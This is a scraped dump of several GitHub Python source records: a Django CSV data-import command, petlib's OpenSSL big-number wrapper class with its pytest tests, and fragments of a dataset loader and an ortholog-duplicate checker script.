labels\n \nif __name__ == '__main__':\n load_dataset(mode='Train')","repo_name":"XuBLin/590PresentGroupProject","sub_path":"Recommendation system/project_final/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15946355456","text":"import csv\n\nfrom django.core.management.base import BaseCommand\nfrom reviews.models import Category, Comment, Genre, Review, Title\nfrom users.models import User\n\n\ndef validate_required_fields(row: dict) -> bool:\n \"\"\"\"Проверяет наличие обязательных полей.\"\"\"\n\n ignore_fields: list = [\n 'description',\n 'role',\n 'bio',\n 'first_name',\n 'last_name',\n 'author',\n 'pub_date'\n ]\n\n for key, value in row.items():\n if not value and key not in ignore_fields:\n return False\n\n return True\n\n\ndef upload_users():\n \"\"\"Загружает пользователей.\"\"\"\n\n with open('static/data/users.csv', encoding='utf-8') as csv_file:\n csv_reader = csv.DictReader(csv_file, delimiter=',')\n\n for row in csv_reader:\n if not validate_required_fields(row):\n continue\n\n user = User()\n user.id = row['id']\n user.username = row['username']\n user.email = row['email']\n user.role = row['role']\n user.bio = row['bio']\n user.first_name = row['first_name']\n user.last_name = row['last_name']\n\n user.save()\n\n\ndef upload_category():\n \"\"\"Загружает категории.\"\"\"\n\n with open('static/data/category.csv', encoding='utf-8') as csv_file:\n csv_reader = csv.DictReader(csv_file, delimiter=',')\n\n for row in csv_reader:\n if not validate_required_fields(row):\n continue\n\n category = Category()\n category.id = row['id']\n category.name = row['name']\n category.slug = row['slug']\n\n category.save()\n\n\ndef upload_genre():\n \"\"\"Загружает жанры.\"\"\"\n\n with open('static/data/genre.csv', encoding='utf-8') as csv_file:\n csv_reader = csv.DictReader(csv_file, delimiter=',')\n\n for row in csv_reader:\n if not validate_required_fields(row):\n continue\n\n genre = Genre()\n genre.id = row['id']\n genre.name = row['name']\n genre.slug = row['slug']\n\n genre.save()\n\n\ndef upload_titles():\n \"\"\"Загружает произведения.\"\"\"\n\n with open('static/data/titles.csv', encoding='utf-8') as csv_file:\n csv_reader = csv.DictReader(csv_file, delimiter=',')\n\n for row in csv_reader:\n if not validate_required_fields(row):\n continue\n\n title = Title()\n title.id = row['id']\n title.name = row['name']\n title.year = row['year']\n title.category = Category.objects.get(id=row['category'])\n\n title.save()\n\n\ndef upload_genre_title():\n \"\"\"Загружает промежуточную таблицу с жанрами и произведениями.\"\"\"\n\n with open('static/data/genre_title.csv', encoding='utf-8') as csv_file:\n csv_reader = csv.DictReader(csv_file, delimiter=',')\n\n for row in csv_reader:\n if not validate_required_fields(row):\n continue\n\n title = Title.objects.get(id=row['title_id'])\n genre = Genre.objects.get(id=row['genre_id'])\n\n title.genre.add(genre)\n title.save()\n\n\ndef upload_review():\n \"\"\"Загружает отзывы.\"\"\"\n\n with open('static/data/review.csv', encoding='utf-8') as csv_file:\n csv_reader = csv.DictReader(csv_file, delimiter=',')\n\n for row in csv_reader:\n if not validate_required_fields(row):\n continue\n\n review = Review()\n review.id = row['id']\n review.title = Title.objects.get(id=row['title_id'])\n review.text = row['text']\n review.author = User.objects.get(id=row['author'])\n review.score = row['score']\n review.pub_date = row['pub_date']\n\n review.save()\n\n\ndef upload_comments():\n \"\"\"Загружает комментарии.\"\"\"\n\n with open('static/data/comments.csv', encoding='utf-8') as csv_file:\n csv_reader = csv.DictReader(csv_file, delimiter=',')\n\n for row in csv_reader:\n if not validate_required_fields(row):\n continue\n\n comment = Comment()\n comment.id = row['id']\n comment.review = Review.objects.get(id=row['review_id'])\n comment.text = row['text']\n comment.author = User.objects.get(id=row['author'])\n comment.pub_date = row['pub_date']\n\n comment.save()\n\n\nclass Command(BaseCommand):\n\n def handle(self):\n upload_users()\n upload_category()\n upload_genre()\n upload_titles()\n upload_genre_title()\n upload_review()\n upload_comments()\n","repo_name":"Luna-luns/Review-s-collector","sub_path":"api_yamdb/reviews/management/commands/upload_data.py","file_name":"upload_data.py","file_ext":"py","file_size_in_byte":4836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2506488688","text":"from .bindings import _FFI, _C, get_errors\n\nfrom functools import wraps\nfrom copy import copy, deepcopy\nfrom binascii import hexlify, unhexlify # pylint: disable=unused-import\n\n# Py2/3 compatibility\ntry:\n from builtins import int # pylint: disable=redefined-builtin\n from builtins import object # pylint: disable=redefined-builtin\nexcept BaseException: # pylint: disable=bare-except\n print(\"Cannot mock for docs\")\n\ntry:\n from future.utils import python_2_unicode_compatible\nexcept Exception as e: # pylint: disable=broad-except\n # An identity decorator\n def python_2_unicode_compatible(x): return x\n\nimport pytest\n\n\ndef force_Bn(n):\n \"\"\"A decorator that coerces the nth input to be a Big Number\"\"\"\n\n def convert_nth(f):\n # pylint: disable=star-args\n @wraps(f)\n def new_f(*args, **kwargs):\n new_args = args\n try:\n if not n < len(args) or args[n].bn: # isinstance(args[n], Bn):\n new_args = args\n except BaseException:\n # if not n < len(args):\n # new_args = args\n\n if isinstance(args[n], int):\n r = Bn.from_num(args[n])\n new_args = list(args)\n new_args[n] = r\n new_args = tuple(new_args)\n else:\n return NotImplemented\n\n return f(*new_args, **kwargs)\n\n return new_f\n return convert_nth\n\n\ndef _check(return_val):\n \"\"\"Checks the return code of the C calls\"\"\"\n if __debug__:\n if isinstance(return_val, int) and return_val == 1:\n return\n if isinstance(return_val, bool) and return_val == True:\n return\n\n if return_val == True and return_val == 1:\n return\n\n errs = get_errors()\n raise Exception(\"BN exception: %s\" % errs)\n\n\nclass BnCtx(object):\n \"\"\" A Bn Context for use by the petlib library \"\"\"\n\n __slots__ = ['bnctx', '_C']\n\n def __init__(self):\n self._C = _C\n self.bnctx = self._C.BN_CTX_new()\n _check(self.bnctx != _FFI.NULL)\n\n def __del__(self):\n if self.bnctx is not None:\n self._C.BN_CTX_free(self.bnctx)\n\n\nclass BnCtxNULL(BnCtx):\n \"\"\" A Bn Context for use by the petlib library \"\"\"\n\n __slots__ = ['bnctx', '_C']\n\n def __init__(self):\n self._C = _C\n self.bnctx = _FFI.NULL\n\n def __del__(self):\n pass\n\n\nimport threading\n_thread_local = threading.local()\n\n\ndef get_ctx():\n global _thread_local\n\n try:\n return _thread_local.ctx\n except BaseException:\n _thread_local.ctx = BnCtx()\n return _thread_local.ctx\n\n\n@python_2_unicode_compatible\nclass Bn(object):\n \"\"\"The core Big Number class.\n It supports all comparisons (<, <=, ==, !=, >=, >),\n arithmetic operations (+, -, %, /, divmod, pow)\n and copy operations (copy and deep copy). The right-hand\n side operand may be a small native python integer (<2^64). \"\"\"\n\n __C = _C\n\n # We know this class will keep minimal state\n __slots__ = ['bn']\n\n # -- static methods\n\n @staticmethod\n def from_num(num):\n if isinstance(num, int):\n return Bn(num)\n elif isinstance(num, Bn):\n return num\n else:\n # raise TypeError(\"Cannot coerce %s into a BN.\" % num)\n return NotImplemented\n\n @staticmethod\n def from_decimal(sdec):\n \"\"\"Creates a Big Number from a decimal string.\n\n Args:\n sdec (string): numeric string possibly starting with minus.\n\n See Also:\n str() produces a decimal string from a big number.\n\n Example:\n >>> hundred = Bn.from_decimal(\"100\")\n >>> str(hundred)\n '100'\n\n \"\"\"\n\n ptr = _FFI.new(\"BIGNUM **\")\n read_bytes = _C.BN_dec2bn(ptr, sdec.encode(\"utf8\"))\n if read_bytes != len(sdec):\n raise Exception(\"BN Error\")\n\n ret = Bn()\n _C.BN_copy(ret.bn, ptr[0])\n _C.BN_clear_free(ptr[0])\n return ret\n\n @staticmethod\n def from_hex(shex):\n \"\"\"Creates a Big Number from a hexadecimal string.\n\n Args:\n shex (string): hex (0-F) string possibly starting with minus.\n\n See Also:\n hex() produces a hexadecimal representation of a big number.\n\n Example:\n >>> Bn.from_hex(\"FF\")\n 255\n \"\"\"\n\n ptr = _FFI.new(\"BIGNUM **\")\n read_bytes = _C.BN_hex2bn(ptr, shex.encode(\"utf8\"))\n if read_bytes != len(shex):\n raise Exception(\"BN Error\")\n\n ret = Bn()\n _C.BN_copy(ret.bn, ptr[0])\n _C.BN_clear_free(ptr[0])\n return ret\n\n @staticmethod\n def from_binary(sbin):\n \"\"\"Creates a Big Number from a byte sequence representing the number in Big-endian 8 byte atoms. Only positive values can be represented as byte sequence, and the library user should store the sign bit separately.\n\n Args:\n sbin (string): a byte sequence.\n\n Example:\n >>> byte_seq = unhexlify(b\"010203\")\n >>> Bn.from_binary(byte_seq)\n 66051\n >>> (1 * 256**2) + (2 * 256) + 3\n 66051\n \"\"\"\n ret = Bn()\n _C.BN_bin2bn(sbin, len(sbin), ret.bn)\n return ret\n\n @staticmethod\n def get_prime(bits, safe=1):\n \"\"\"\n Builds a prime Big Number of length bits.\n\n Args:\n bits (int) -- the number of bits.\n safe (int) -- 1 for a safe prime, otherwise 0.\n\n \"\"\"\n _check(0 < bits < 10000)\n _check(safe in [0, 1])\n\n ret = Bn()\n _check(\n _C.BN_generate_prime_ex(\n ret.bn,\n bits,\n safe,\n _FFI.NULL,\n _FFI.NULL,\n _FFI.NULL))\n return ret\n\n ## -- methods\n\n _upper_bound = 2**(64 - 1)\n\n def __init__(self, num=0):\n 'Allocate a Big Number structure, initialized with a small integer or zero.'\n self.bn = _C.BN_new()\n\n if num == 0:\n return\n\n if __debug__:\n _check(0 <= abs(num) <= self._upper_bound)\n _check(isinstance(num, int))\n\n # Assign\n if num != 0:\n ret = _C.BN_set_word(self.bn, abs(num))\n if __debug__:\n _check(ret)\n if ret != 1:\n raise Exception(\"Bn Exception.\")\n\n if num < 0:\n self._set_neg(1)\n\n def _set_neg(self, sign=1):\n # \"\"\"Sets the sign to \"-\" (1) or \"+\" (0)\"\"\"\n if not (sign == 0 or sign == 1):\n raise Exception(\"Sign has to be 0 or 1.\")\n _C.BN_set_negative(self.bn, sign)\n\n def copy(self):\n \"\"\"Returns a copy of the Bn object.\"\"\"\n return self.__copy__()\n\n def __copy__(self):\n # 'Copies the big number. Support for copy module'\n other = Bn()\n _C.BN_copy(other.bn, self.bn)\n return other\n\n def __deepcopy__(self, memento):\n # 'Deepcopy is the same as copy'\n # pylint: disable=unused-argument\n return self.__copy__()\n\n def __del__(self):\n # 'Deallocate all resources of the big number'\n self.__C.BN_clear_free(self.bn)\n\n def __inner_cmp__(self, other):\n # 'Irel comparison function'\n # if __debug__:\n # _check( type(other) == Bn )\n try:\n sig = int(_C.BN_cmp(self.bn, other.bn))\n return sig\n except AttributeError:\n return self.__inner_cmp__(Bn.from_num(other))\n\n def __lt__(self, other):\n return self.__inner_cmp__(other) < 0\n\n def __le__(self, other):\n return self.__inner_cmp__(other) <= 0\n\n def __eq__(self, other):\n if isinstance(other, int):\n other = Bn(other)\n if not isinstance(other, Bn):\n return False\n return self.__inner_cmp__(other) == 0\n\n def __ne__(self, other):\n return self.__inner_cmp__(other) != 0\n\n def __gt__(self, other):\n return self.__inner_cmp__(other) > 0\n\n def __ge__(self, other):\n return self.__inner_cmp__(other) >= 0\n\n def bool(self):\n 'Turn Bn into boolean. False if zero, True otherwise.'\n return self.__bool__()\n\n def __bool__(self):\n # 'Turn into boolean'\n return not (self == Bn(0))\n\n # Python 2 compatibility\n def __nonzero__(self):\n return self.__bool__()\n\n # Export in different representations\n\n def repr(self):\n 'The representation of the number as a decimal string'\n return self.__repr__()\n\n def __repr__(self):\n # 'The representation of the number as a decimal string'\n buf = _C.BN_bn2dec(self.bn)\n s = bytes(_FFI.string(buf))\n _C.OPENSSL_free(buf)\n return s.decode('utf8')\n\n def int(self):\n \"\"\"A native python integer representation of the Big Number.\n Synonym for int(bn).\n \"\"\"\n return self.__int__()\n\n def __int__(self):\n return int(self.__repr__())\n\n def __index__(self):\n return int(self.__repr__())\n\n def hex(self):\n \"\"\"The representation of the string in hexadecimal.\n Synonym for hex(n).\"\"\"\n return self.__hex__()\n\n def __hex__(self):\n # \"\"\"The representation of the string in hexadecimal\"\"\"\n buf = _C.BN_bn2hex(self.bn)\n s = bytes(_FFI.string(buf))\n _C.OPENSSL_free(buf)\n return s.decode(\"utf8\")\n\n def binary(self):\n \"\"\"Returns a byte sequence storing the absolute value of the Big\n Number in Big-Endian format (with 8 bit atoms). You need to extact the sign separately.\n\n Example:\n >>> bin = Bn(66051).binary()\n >>> hexlify(bin) == b'010203'\n True\n \"\"\"\n if self < 0:\n raise Exception(\"Cannot represent negative numbers\")\n size = _C.bn_num_bytes(self.bn)\n bin_string = _FFI.new(\"unsigned char[]\", size)\n\n l = _C.BN_bn2bin(self.bn, bin_string)\n assert int(l) == size\n return bytes(_FFI.buffer(bin_string)[:])\n\n def random(self):\n \"\"\"Returns a cryptographically strong random number 0 <= rnd < self.\n\n Example:\n >>> r = Bn(100).random()\n >>> 0 <= r < 100\n True\n\n \"\"\"\n rnd = Bn()\n err = _C.BN_rand_range(rnd.bn, self.bn)\n if __debug__:\n _check(err)\n return rnd\n\n # ---------- Arithmetic --------------\n\n def int_neg(self):\n \"\"\"Returns the negative of this number. Synonym with -self.\n\n Example:\n\n >>> one100 = Bn(100)\n >>> one100.int_neg()\n -100\n >>> -one100\n -100\n\n \"\"\"\n return self.__neg__()\n\n def int_add(self, other):\n \"\"\"Returns the sum of this number with another. Synonym for self + other.\n\n Example:\n\n >>> one100 = Bn(100)\n >>> two100 = Bn(200)\n >>> two100.int_add(one100) # Function syntax\n 300\n >>> two100 + one100 # Operator syntax\n 300\n\n \"\"\"\n return self.__add__(other)\n\n def __radd__(self, other):\n return self.__add__(other)\n\n def __add__(self, other):\n try:\n r = Bn()\n err = _C.BN_add(r.bn, self.bn, other.bn)\n\n if __debug__:\n _check(err)\n return r\n except AttributeError:\n return self.__add__(Bn.from_num(other))\n\n def int_sub(self, other):\n \"\"\"Returns the difference between this number and another.\n Synonym for self - other.\n\n Example:\n\n >>> one100 = Bn(100)\n >>> two100 = Bn(200)\n >>> two100.int_sub(one100) # Function syntax\n 100\n >>> two100 - one100 # Operator syntax\n 100\n\n \"\"\"\n return self - other\n\n def __rsub__(self, other):\n return Bn(other) - self\n\n def __sub__(self, other):\n try:\n r = Bn()\n err = _C.BN_sub(r.bn, self.bn, other.bn)\n\n if __debug__:\n _check(err)\n\n return r\n except AttributeError:\n return self.__sub__(Bn.from_num(other))\n\n def int_mul(self, other):\n \"\"\"Returns the product of this number with another.\n Synonym for self * other.\n\n Example:\n\n >>> one100 = Bn(100)\n >>> two100 = Bn(200)\n >>> one100.int_mul(two100) # Function syntax\n 20000\n >>> one100 * two100 # Operator syntax\n 20000\n\n \"\"\"\n return self.__mul__(other)\n\n def __rmul__(self, other):\n return self.__mul__(other)\n\n def __mul__(self, other):\n\n try:\n r = Bn()\n local_ctx = get_ctx()\n err = _C.BN_mul(r.bn, self.bn, other.bn, local_ctx.bnctx)\n\n if __debug__:\n _check(err)\n\n return r\n except AttributeError:\n other = Bn.from_num(other)\n if other is NotImplemented:\n return NotImplemented\n return self.__mul__(other)\n\n\n# ------------------ Mod arithmetic -------------------------\n\n\n def mod_add(self, other, m):\n \"\"\"\n mod_add(other, m)\n Returns the sum of self and other modulo m.\n\n Example:\n\n >>> Bn(10).mod_add(Bn(2), Bn(11)) # Only function notation available\n 1\n\n \"\"\"\n try:\n r = Bn()\n local_ctx = get_ctx()\n err = _C.BN_mod_add(r.bn, self.bn, other.bn, m.bn, local_ctx.bnctx)\n if __debug__:\n _check(err)\n\n return r\n except AttributeError:\n return self.mod_add(Bn.from_num(other), Bn.from_num(m))\n\n def mod_sub(self, other, m):\n \"\"\"\n mod_sub(other, m)\n Returns the difference of self and other modulo m.\n\n Example:\n\n >>> Bn(10).mod_sub(Bn(2), Bn(11)) # Only function notation available\n 8\n\n \"\"\"\n\n try:\n r = Bn()\n local_ctx = get_ctx()\n err = _C.BN_mod_sub(r.bn, self.bn, other.bn, m.bn, local_ctx.bnctx)\n\n if __debug__:\n _check(err)\n\n return r\n except AttributeError:\n return self.mod_sub(Bn.from_num(other), Bn.from_num(m))\n\n def mod_mul(self, other, m):\n \"\"\"\n mod_mul(other, m)\n Return the product of self and other modulo m.\n\n Example:\n\n >>> Bn(10).mod_mul(Bn(2), Bn(11)) # Only function notation available\n 9\n\n \"\"\"\n try:\n r = Bn()\n local_ctx = get_ctx()\n err = _C.BN_mod_mul(r.bn, self.bn, other.bn, m.bn, local_ctx.bnctx)\n\n if __debug__:\n _check(err)\n\n return r\n except AttributeError:\n return self.mod_mul(Bn.from_num(other), Bn.from_num(m))\n\n def mod_inverse(self, m):\n \"\"\"\n mod_inverse(m)\n Compute the inverse mod m, such that self * res == 1 mod m.\n\n Example:\n\n >>> Bn(10).mod_inverse(m = Bn(11)) # Only function notation available\n 10\n >>> Bn(10).mod_mul(Bn(10), m = Bn(11)) == Bn(1)\n True\n\n \"\"\"\n\n try:\n res = Bn()\n local_ctx = get_ctx()\n err = _C.BN_mod_inverse(res.bn, self.bn, m.bn, local_ctx.bnctx)\n\n if err == _FFI.NULL:\n errs = get_errors()\n\n if errs == [50770023]:\n raise Exception(\"No inverse\")\n\n elif errs == [50782316]:\n raise Exception(\"No inverse\")\n\n else:\n raise Exception(\"Unknown error: %s\" % errs)\n\n return res\n except AttributeError:\n return self.mod_inverse(Bn.from_num(m))\n\n def mod_pow(self, other, m, ctx=None):\n \"\"\" Performs the modular exponentiation of self ** other % m.\n\n Example:\n >>> one100 = Bn(100)\n >>> one100.mod_pow(2, 3) # Modular exponentiation\n 1\n\n \"\"\"\n return self.__pow__(other, m, ctx=ctx)\n\n def divmod(self, other):\n \"\"\"Returns the integer division and remainder of this number by another.\n Synonym for (div, mod) = divmod(self, other)\"\"\"\n return self.__divmod__(other)\n\n def __rdivmod__(self, other):\n return Bn(other).__divmod__(self)\n\n def __divmod__(self, other):\n try:\n dv = Bn()\n rem = Bn()\n local_ctx = get_ctx()\n ret = _C.BN_div(dv.bn, rem.bn, self.bn, other.bn, local_ctx.bnctx)\n if __debug__:\n _check(ret)\n return (dv, rem)\n except AttributeError:\n return self.__divmod__(Bn.from_num(other))\n\n def int_div(self, other):\n \"\"\"Returns the integer division of this number by another.\n Synonym of self / other.\n\n Example:\n\n >>> one100 = Bn(100)\n >>> two100 = Bn(200)\n >>> two100.int_div(one100) # Function syntax\n 2\n >>> two100 / one100 # Operator syntax\n 2\n\n \"\"\"\n return self.__div__(other)\n\n def __rdiv__(self, other):\n return Bn(other).__div__(self)\n\n def __div__(self, other):\n dv, _ = divmod(self, other)\n return dv\n\n def mod(self, other):\n \"\"\"Returns the remainder of this number modulo another.\n Synonym for self % other.\n\n Example:\n\n >>> one100 = Bn(100)\n >>> two100 = Bn(200)\n >>> two100.mod(one100) # Function syntax\n 0\n >>> two100 % one100 # Operator syntax\n 0\n\n\n \"\"\"\n return self.__mod__(other)\n\n def __rmod__(self, other):\n return Bn(other).__mod__(self)\n\n def __mod__(self, other):\n\n try:\n rem = Bn()\n\n local_ctx = get_ctx()\n err = _C.BN_nnmod(rem.bn, self.bn, other.bn, local_ctx.bnctx)\n\n if __debug__:\n _check(err)\n return rem\n except AttributeError:\n self.__mod__(Bn.from_num(other))\n\n def __rtruediv__(self, other):\n return Bn(other).__truediv__(self)\n\n def __truediv__(self, other):\n return self.__div__(other)\n\n def __rfloordiv__(self, other):\n return Bn(other).__floordiv__(self)\n\n def __floordiv__(self, other):\n return self.__div__(other)\n\n def __rpow__(self, other):\n return Bn(other).__pow__(self)\n\n def pow(self, other, modulo=None, ctx=None):\n \"\"\"Returns the number raised to the power other optionally modulo a third number.\n Synonym with pow(self, other, modulo).\n\n Example:\n\n >>> one100 = Bn(100)\n >>> one100.pow(2) # Function syntax\n 10000\n >>> one100 ** 2 # Operator syntax\n 10000\n >>> one100.pow(2, 3) # Modular exponentiation\n 1\n\n \"\"\"\n if modulo:\n return self.__pow__(other, modulo, ctx)\n else:\n return self ** other\n\n def __pow__(self, other, modulo=None, ctx=None):\n\n try:\n res = Bn()\n\n if ctx is None:\n ctx = BnCtx()\n\n if modulo is None:\n _check(_C.BN_exp(res.bn, self.bn, other.bn, ctx.bnctx))\n else:\n _check(\n _C.BN_mod_exp(\n res.bn,\n self.bn,\n other.bn,\n modulo.bn,\n ctx.bnctx))\n\n return res\n except BaseException:\n other = Bn.from_num(other)\n if modulo is not None:\n modulo = Bn.from_num(modulo)\n return self.__pow__(other, modulo, ctx)\n\n def is_prime(self):\n \"\"\"Returns True if the number is prime, with negligible prob. of error.\"\"\"\n\n res = int(_C.BN_is_prime_ex(self.bn, 0, get_ctx().bnctx, _FFI.NULL))\n if res == 0:\n return False\n if res == 1:\n return True\n raise Exception(\"Primality test failure %s\" % int(res))\n\n def is_odd(self):\n \"\"\"Returns True if the number is odd.\"\"\"\n\n return bool(_C.bn_is_odd(self.bn))\n\n def is_bit_set(self, n):\n \"\"\"Returns True if the nth bit is set\"\"\"\n return int(_C.BN_is_bit_set(self.bn, n))\n\n def num_bits(self):\n \"\"\"Returns the number of bits representing this Big Number\"\"\"\n return int(_C.BN_num_bits(self.bn))\n\n # Implement negative\n def __neg__(self):\n # pylint: disable=protected-access\n zero = Bn(0)\n ret = copy(self)\n if ret >= zero:\n ret._set_neg(1)\n else:\n ret._set_neg(0)\n return ret\n\n def __hash__(self):\n return int(self).__hash__()\n\n# Unsuported\n# object.__lshift__(self, other)\n# object.__rshift__(self, other)\n# object.__and__(self, other)\n# object.__xor__(self, other)\n# object.__or__(self, other)\n\n# ---------- Tests ------------\n\n\ndef test_bn_constructors():\n assert Bn.from_decimal(\"100\") == 100\n assert Bn.from_decimal(\"-100\") == -100\n\n with pytest.raises(Exception) as excinfo:\n Bn.from_decimal(\"100ABC\")\n assert 'BN Error' in str(excinfo.value)\n\n with pytest.raises(Exception) as excinfo:\n Bn.from_hex(\"100ABCZ\")\n assert 'BN Error' in str(excinfo.value)\n\n assert Bn.from_hex(Bn(-100).hex()) == -100\n assert Bn(15).hex() == Bn(15).hex()\n\n with pytest.raises(Exception) as excinfo:\n Bn(-100).binary()\n assert 'negative' in str(excinfo.value)\n\n #assert Bn.from_binary(Bn(-100).binary()) == 100\n assert Bn.from_binary(Bn(100).binary()) == Bn(100)\n assert Bn.from_binary(Bn(100).binary()) == 100\n\n with pytest.raises(Exception) as excinfo:\n s = 10**10\n Bn(s)\n assert 'does not fit' in str(excinfo.value)\n\n with pytest.raises(Exception) as excinfo:\n _check(False)\n assert 'BN' in str(excinfo.value)\n\n #assert Bn.from_binary(Bn(-100).binary()) != Bn(50)\n assert int(Bn(-100)) == -100\n\n assert repr(Bn(5)) == Bn(5).repr() == \"5\"\n assert range(10)[Bn(4)] == 4\n\n d = {Bn(5): 5, Bn(6): 6}\n assert Bn(5) in d\n\n\ndef test_bn_prime():\n p = Bn.get_prime(128)\n assert p > Bn(0)\n assert p.is_prime()\n assert not Bn(16).is_prime()\n assert p.num_bits() > 127\n\n\ndef test_bn_arithmetic():\n assert (Bn(1) + Bn(1) == Bn(2))\n assert (Bn(1).int_add(Bn(1)) == Bn(2))\n\n assert (Bn(1) + 1 == Bn(2))\n # assert (1 + Bn(1) == Bn(2))\n\n assert (Bn(1) + Bn(-1) == Bn(0))\n assert (Bn(10) + Bn(10) == Bn(20))\n assert (Bn(-1) * Bn(-1) == Bn(1))\n assert (Bn(-1).int_mul(Bn(-1)) == Bn(1))\n\n assert (Bn(10) * Bn(10) == Bn(100))\n assert (Bn(10) - Bn(10) == Bn(0))\n assert (Bn(10) - Bn(100) == Bn(-90))\n assert (Bn(10) + (-Bn(10)) == Bn(0))\n s = -Bn(100)\n assert (Bn(10) + s == Bn(-90))\n assert (Bn(10) - (-Bn(10)) == Bn(20))\n assert -Bn(-10) == 10\n assert Bn(-10).int_neg() == 10\n\n assert divmod(Bn(10), Bn(3)) == (Bn(3), Bn(1))\n assert Bn(10).divmod(Bn(3)) == (Bn(3), Bn(1))\n\n assert Bn(10) / Bn(3) == Bn(3)\n assert Bn(10) // Bn(3) == Bn(3)\n assert Bn(10).int_div(Bn(3)) == Bn(3)\n\n assert Bn(10) % Bn(3) == Bn(1)\n assert Bn(10).mod(Bn(3)) == Bn(1)\n\n assert Bn(2) ** Bn(8) == Bn(2 ** 8)\n assert pow(Bn(2), Bn(8), Bn(27)) == Bn(2 ** 8 % 27)\n\n pow(Bn(10), Bn(10)).binary()\n\n assert pow(Bn(2), 8, 27) == 2 ** 8 % 27\n\n assert Bn(3).mod_inverse(16) == 11\n\n with pytest.raises(Exception) as excinfo:\n Bn(3).mod_inverse(0)\n print(\"Got inverse\")\n assert 'No inverse' in str(excinfo.value)\n\n with pytest.raises(Exception) as excinfo:\n x = Bn(0).mod_inverse(Bn(13))\n print(\"!!! Got inverse\", x)\n assert 'No inverse' in str(excinfo.value)\n\n # with pytest.raises(Exception) as excinfo:\n # x = Bn(0).mod_inverse(Bn(13))\n # print(\"Got inverse\", x)\n #assert 'No inverse' in str(excinfo.value)\n\n assert Bn(10).mod_add(10, 15) == (10 + 10) % 15\n assert Bn(10).mod_sub(100, 15) == (10 - 100) % 15\n assert Bn(10).mod_mul(10, 15) == (10 * 10) % 15\n assert Bn(-1).bool()\n\n\ndef test_bn_right_arithmetic():\n assert (1 + Bn(1) == Bn(2))\n\n assert (-1 * Bn(-1) == Bn(1))\n\n assert (10 * Bn(10) == Bn(100))\n assert (10 - Bn(10) == Bn(0))\n assert (10 - Bn(100) == Bn(-90))\n assert (10 + (-Bn(10)) == Bn(0))\n s = -Bn(100)\n assert (10 + s == Bn(-90))\n assert (10 - (-Bn(10)) == Bn(20))\n\n assert divmod(10, Bn(3)) == (Bn(3), Bn(1))\n\n assert 10 / Bn(3) == Bn(3)\n assert 10 // Bn(3) == Bn(3)\n\n assert 10 % Bn(3) == Bn(1)\n assert 2 ** Bn(8) == Bn(2 ** 8)\n\n assert 100 == Bn(100)\n\n pow(10, Bn(10))\n\n\ndef test_bn_allocate():\n # Test allocation\n n0 = Bn(10)\n assert True\n\n assert str(Bn()) == \"0\"\n assert str(Bn(1)) == \"1\"\n assert str(Bn(-1)) == \"-1\"\n\n assert Bn(15).hex() == \"0F\"\n assert Bn(-15).hex() == \"-0F\"\n\n assert int(Bn(5)) == 5\n assert Bn(5).int() == 5\n\n assert 0 <= Bn(15).random() < 15\n\n # Test copy\n o0 = copy(n0)\n o1 = deepcopy(n0)\n\n assert o0 == n0\n assert o1 == n0\n\n # Test nonzero\n assert not Bn()\n assert not Bn(0)\n assert Bn(1)\n assert Bn(100)\n\n\ndef test_bn_cmp():\n assert Bn(1) < Bn(2)\n assert Bn(1) <= Bn(2)\n assert Bn(2) <= Bn(2)\n assert Bn(2) == Bn(2)\n assert not Bn(2) == None\n assert Bn(2) <= Bn(3)\n assert Bn(2) < Bn(3)\n\n\ndef test_extras():\n two = Bn(2)\n two2 = two.copy()\n assert two == two2\n\n\ndef test_odd():\n assert Bn(1).is_odd()\n assert Bn(1).is_bit_set(0)\n assert not Bn(1).is_bit_set(1)\n\n assert Bn(3).is_odd()\n assert Bn(3).is_bit_set(0)\n assert Bn(3).is_bit_set(1)\n\n assert not Bn(0).is_odd()\n assert not Bn(2).is_odd()\n\n assert Bn(100).is_bit_set(Bn(100).num_bits() - 1)\n\n\ndef test_check():\n with pytest.raises(Exception) as excinfo:\n _check(False)\n assert 'BN' in str(excinfo.value)\n\n with pytest.raises(Exception) as excinfo:\n _check(-1)\n assert 'BN' in str(excinfo.value)\n\n with pytest.raises(Exception) as excinfo:\n _check(0)\n assert 'BN' in str(excinfo.value)\n\n\ndef test_timing_exp():\n p = Bn.from_decimal(\"158261031819091141711717027498980088325079888681498417129323009913367867128038610210948802263526234270043507882496188624614467036250990588401775690578042934008692254417273606807265961724843618743242066301529332478013432957153823449143202719186309012133210922613102725038632605463022887306439116579645787938883\")\n psmall = Bn.from_decimal(\n \"90123082853250477832412338337738008391831682960497136029451532639902615425459\")\n\n xs = [p.random() for _ in range(1000)]\n ys = [p.random() for _ in range(1000)]\n\n import time\n\n print\n t0 = time.time()\n X = [xi.mod_mul(yi, psmall) for (xi, yi) in zip(xs, ys)]\n t1 = time.time()\n print(\"Mod_mul time: %.2fms\" % ((t1 - t0) * 1000.0 / 1000.0))\n\n t0 = time.time()\n X = [xi.pow(yi, p) for (xi, yi) in zip(xs, ys)]\n t1 = time.time()\n print(\" Pow time: %.2fms\" % ((t1 - t0) * 1000.0 / 1000.0))\n\n ctx = BnCtx()\n t0 = time.time()\n X = [xi.pow(yi, p, ctx) for (xi, yi) in zip(xs, ys)]\n t1 = time.time()\n print(\"Pow ctx time: %.2fms\" % ((t1 - t0) * 1000.0 / 1000.0))\n","repo_name":"gdanezis/petlib","sub_path":"petlib/bn.py","file_name":"bn.py","file_ext":"py","file_size_in_byte":27519,"program_lang":"python","lang":"en","doc_type":"code","stars":121,"dataset":"github-code","pt":"21"} +{"seq_id":"40145579227","text":"#!/bin/python\n\"\"\"\n\nTitle: check_OG_duplicates.py\nDate: 2022-03-02\nAuthor: Virág Varga\n\nDescription:\n\tThis program checks a file to see whether elements of the first column\n\t\t(Pythonic index 0; must be named \"Query\") are repeated.\n\tIt was written to determine whether orthologous clustering programs were\n\t\tclustering proteins into more than one orthologous group.\n\nList of functions:\n\tNo functions are defined in this script.\n\nList of standard and non-standard modules used:\n\tsys\n\tpandas\n\titertools\n\nProcedure:\n\t1. Loading required modules; defining inputs and outputs as command line\n\t\targuments.\n\t2. Using Pandas to import the contents of the ortholog_groups.tsv file into a\n\t\tdataframe.\n\nKnown bugs and limitations:\n\t- There is no quality-checking integrated into the code.\n\t- This program requires the input of a file with query IDs in the first column.\n\nUsage\n\t./check_OG_duplicates.py input_db\n\tOR\n\tpython check_OG_duplicates.py input_db\n\nThis script was written for Python 3.8.12, in Spyder 